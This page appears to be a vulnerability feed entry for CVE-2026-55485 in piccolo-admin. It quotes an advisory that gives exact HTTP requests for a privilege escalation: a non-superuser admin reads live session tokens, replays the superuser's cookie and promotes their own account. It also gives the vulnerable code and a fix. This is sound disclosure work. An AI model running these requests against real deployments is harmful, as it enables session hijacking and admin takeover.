Answer in brief
CVE-2026-55485 records a High severity (CVSS 8.8) vulnerability in piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.. The current sources do not mark it as known exploited. The current feed maps piccolo-admin (pip). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 8.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps piccolo-admin (pip). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| piccolo-adminpip | <=1.13.0 | 1.14.0 |
Published upstream
Aug 28, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Aug 28, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Aug 28, 2026
## Summary `piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**. The `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own `Cookie: id=…`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row. The chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions. ## Affected component - **File**: `piccolo_admin/endpoints.py` - **Function**: `superuser_validators` (around line 419) ```python def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request): user: BaseUser = request.user.user if not user.superuser: if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]: raise HTTPException( detail="Only superusers can perform these actions.", status_code=405, ) ``` The method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it. ## Preconditions 1. Network reachability to the admin. 2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` — the default role created by `BaseUser.create_user(admin=True)`). 3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` — the documented pattern for "active sessions" management UIs. ## Steps to reproduce 1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john's `SUPERUSER` column is **✗**. *(See Screenshot 1.)* <img width="3024" height="1430" alt="01-john-piccolo_user-list" src="https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9" /> 2. **Attempt the target write directly.** Send the following request: ```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=<john's session>; csrftoken=<token> X-CSRFToken: <token> {"superuser": true} ``` The server returns: ``` HTTP/1.1 405 {"detail":"Only superusers can perform these actions."} ``` The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break. <img width="3024" height="2158" alt="02-john-save-blocked-405" src="https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0" /> <img width="1213" height="713" alt="03-john-save-blocked-405" src="https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702" /> 3. **Leak the credential.** As the same john user, request: ```http GET /api/tables/sessions/ HTTP/1.1 Host: target:8001 Cookie: id=<john's session>; csrftoken=<token> ``` Response: `200 OK` containing every active session in plaintext, e.g. ```json {"rows":[ {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...}, {"token":"...","user_id":2, ...}, ... ]} ``` Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)* <img width="1512" height="850" alt="04-john-sees-all-session-tokens" src="https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529" /> 4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token: ```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=<token> X-CSRFToken: <token> {"superuser": true} ``` Response: `200 OK`, body shows `"superuser": true` for john. *(Screenshot 5.)* <img width="1213" height="713" alt="05-john-self-promote" src="https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e" /> 5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row. ## Impact Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can: - read/write/delete any row in any table the admin exposes; - revoke any other session, locking out other admins; - change any user's password; - export data (including via the bulk CSV download forms); - plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports. Persistence is automatic — once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded. ## Suggested fix **Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context: ```python def superuser_validators(piccolo_crud, request): if not request.user.user.superuser: raise HTTPException( status_code=403, detail="Only superusers can access this resource.", ) ``` **Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer. ## Severity **CVSS 3.1: 8.8 HIGH** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` Reasoning: - **AV:N** — accessible over the network. - **AC:L** — single GET; no race or timing dependency. - **PR:L** — requires non-superuser admin credentials (the default admin role). - **UI:N** — no victim interaction needed. - **S:U** — scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. - **C:H / I:H / A:H** — full read, full write, full availability impact on the admin's data and on other users' sessions. ## Weaknesses - **CWE-269** Improper Privilege Management *(primary)* - **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor - **CWE-863** Incorrect Authorization ## Notes for the maintainer - The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`. - The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented "Sessions admin view" pattern. - I'm happy to coordinate disclosure timing and validate any candidate patch.
Quoted source text, attributed separately from HOL analysis.